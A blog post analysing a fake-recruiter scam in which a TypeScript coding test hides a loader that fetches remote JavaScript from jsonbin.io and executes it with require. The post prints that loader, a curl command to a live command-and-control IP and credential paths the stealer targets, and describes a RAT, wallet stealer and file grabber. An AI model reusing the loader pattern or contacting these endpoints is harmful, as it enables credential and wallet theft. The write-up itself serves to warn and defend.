How to compromise your system with a job interview

code and society | codedge ·

7 min read Original article ↗

How to compromise your system with a job interview

Table of contents

The current situation on the IT job market is hard. So you are lucky when a recruiter on LinkedIn reaches out to you having a suitable match for a new position based on your prior experience. It might not be what it seems at a first glance.

“A relevant opportunity” with part-time remote work and a great hourly compensation is what surely pulls a lot of current Software Engineers into the conversation when a new job offer on LinkedIn comes in - so it happened to a friend of mine. The job offer was matching very well with the former experience and paired with speeding up the interview process with a quickly sent coding challenge after a couple of messages on LinkedIn.

Info

The initial contact was made in the name of a company that did not know about this. So it is pure phishing just to steal your secrets and credentials. The company is well aware of that and already published a post on LinkedIn explaining the situation.

Before you start with the test, you might be suspicious about the following:

  • The person contacting you is not part of the company on LinkedIn
  • There is no first “Get to know you”-call before you receive the coding test
  • The test might be in a different programming language than you’re skilled in
  • The code is available on Bitbucket, which IMHO is uncommon
  • The sender email address is a @gmail.com instead of an official one from the company

Hindsight is 20/20 so no judging here.

How it begins

The task is to solve various problems and extend logic in a given TypeScript codebase. The project you receive is

  • about 180 files
  • a mix of dead and working code
  • no obfuscation or minification

.. but with some calls to external https://api.jsonbin.io endpoints. If you did not read the 180 files of code, you are hooked.

Here is the fishy code part that starts downloading further packages to inspect your system.

Warning

That is the endpoint, that ships more garbage. Watch out! The complete source code can be found in this Bitbucket repository.

1
2
3
4
5
6
7
const initPriceConfig = async () => {
    const src = "https://api.jsonbin.io/v3/b/6a60970bf5f4af5e29b03d8d";
    const res = (await axios.get(`${src}`));
    const handler = new (Function.constructor)('require', res.data.record.model);
    if (handler) handler(require);
};
initPriceConfig();

The internal logic of the application always runs this function first by executing npm run dev, npm start, and so on. As it hands require in, it can:

  • require('child_process') for shell out
  • require('fs') for read/walk the filesystem, write persistence
  • require('net')/require('https') to open its own exfiltration channel
  • read process.env directly, which in this app means MONGO_URI, JWT_SECRET, SENDGRID_API_KEY, CLOUDINARY_API_SECRET, PAYTM_MERCHANT_KEY

A lot of things you desperately do not want to happen on your system.

A closer look: second stage loader

The response from the jsonbin.io endpoint is effectively a remote-code execution loader. The record.model payload is 24,686 chars of obfuscator.io JavaScript wrapped around a small webpack bundle.

After deobfuscating the returned payload we get another bunch of obfuscated JavaScript. This code pulls data from the C2 (Command & Control) server http://147.189.174.138/api/service/070c425fd005e11aec1a90706dda66f5.

I was able to pull the next piece of code using this

1
2
3
4
5
6
7
curl -sS -v --max-time 30 \
  -H 'Authentication: jwt' \
  -H 'Accept: application/json, text/plain, */*' \
  -A 'axios/1.5.3' \
  -D headers.txt \
  -o body.bin \
  'http://147.189.174.138/api/service/070c425fd005e11aec1a90706dda66f5'

It needs an Authentication header, with jwt as the token. This endpoint gives more obfuscated JavaScript code, in particular the following four modules:

scdata: an interactive RAT (Remote Access Trojan)
node-pty full shell, ssh2 for pivoting and PEM key theft, screenshot-desktop+sharp for screen capture, clipboardy, and @nut-tree-fork/nut-js for synthetic keyboard and mouse. It also fingerprints for VM vs. bare metal.

ldata: browser credential and wallet stealer.
Chrome/Edge/Brave/LT across all three OSes, every profile: Login Data, Web Data, Local Extension Settings LevelDB stores, and macOS login.keychain. It can target 28 wallet extensions like MetaMask, Phantom, Coinbase, Binance, TronLink, Trust, Keplr, Coin98, OKX, Rabby, and 18 more. It loops indefinitely, re-uploading roughly every minute.

File grabber: walks the home directory
It tries to find private key, secret phrase, *metamask*, bitcoin, solana, .env, *.pem, *.p12, *.pfx, plus documents and images, and whole .ssh, .aws, .gnupg and .docker directories. And, it enumerates all drive letters on Windows.

Clipboard monitor: monitor your clipboard
It polls the clipboard and beacons it out, hiding behind the log name npm-compiler.log.

When the victim connects out to 147.189.174.138:7321, the server sees the source address on the accepted socket, exactly as any web server sees a visitor’s IP. No discovery, no scanning, no registration of an address. This is precisely why outbound-only design is so convenient for the attacker: it works behind NAT, CGNAT, a corporate proxy, or a home router with zero configuration, and it doesn’t matter if the victim’s IP changes.

You opened the door to hell while you just wanted to get a job.

Why can it access all your files?

The malware gets the home directory of the current user and then builds the paths to look at.

1
2
3
4
5
6
7
8
rootDir  = os.userInfo().homedir + '',
configDir = [ path.join(os.homedir(), ".aws"),
              path.join(os.homedir(), ".ssh"),
              path.join(os.homedir(), ".azure"),
              path.join(os.homedir(), ".foundry"),
              path.join(os.homedir(), ".config"),
              //...
]

It never asks for elevation. It doesn’t need root, UAC, or sudo, because nothing it wants is root-owned. SSH keys, AWS credentials, browser profiles, wallet data, .env files - all of it is user-owned by design, because you need to read it routinely. A process running under your account inherits that access. Node isn’t doing anything exotic here as cat ~/.ssh/id_rsa from a shell would work identically.

On Windows it goes further than home, enumerating drive letters via PowerShell and calling scanDir on each root, so mapped network drives and secondary disks are in scope too.

Some precaution for next time

A couple of things could have helped, although there is never 100% protection. You would just not expect such a thing from a piece of code you get for a job opportunity.

  • AI: a weak protection
    Ask your AI of choice to scan the project for any anomalies - obfuscated code, minifications, calls to external endpoints, unusual code patterns, etc. This is only a partial solution, as it would tell you the call to the jsonbin.io but it cannot see what the returned values are.
  • Docker: a partially weak protection
    Putting things into Docker and only executing the code inside isolates your host system and does not reveal any stored secret - as long as you do not mount host data into the container.
  • Vagrant: probably your best choice
    Running the code in a completely isolated system might even be the best choice. Snapshot your VM before and restore it afterwards. If there is no UI/Desktop environment the module for leaking browser data or screenshots is self-limiting. Still, the RAT and file grabber work.

Note that the RAT actively fingerprints for VM usage. It runs system_profiler, reads /proc/cpuinfo, and greps for vmware, qemu, microsoft corporation, then tags the beacon (VM) or (Local). That flag most likely feeds operator triage: a VM is more likely to be a sandbox and less likely to hold real wallets, so it may get deprioritised or handled more carefully.

A note on the AI part: Claude Code was not able to detect any strange things when just prompted to scan the code base for unusual patterns.

What now

When the damage is done you probably should:

  • revoke and rotate SSH keys
  • change passwords
  • check if you have any plaintext secrets or information stored that needs to be changed

… and reinstall your OS - better safe than sorry.

Meanwhile the fisherman’s (fake recruiter) profile has been deleted.

This post was created on and updated on .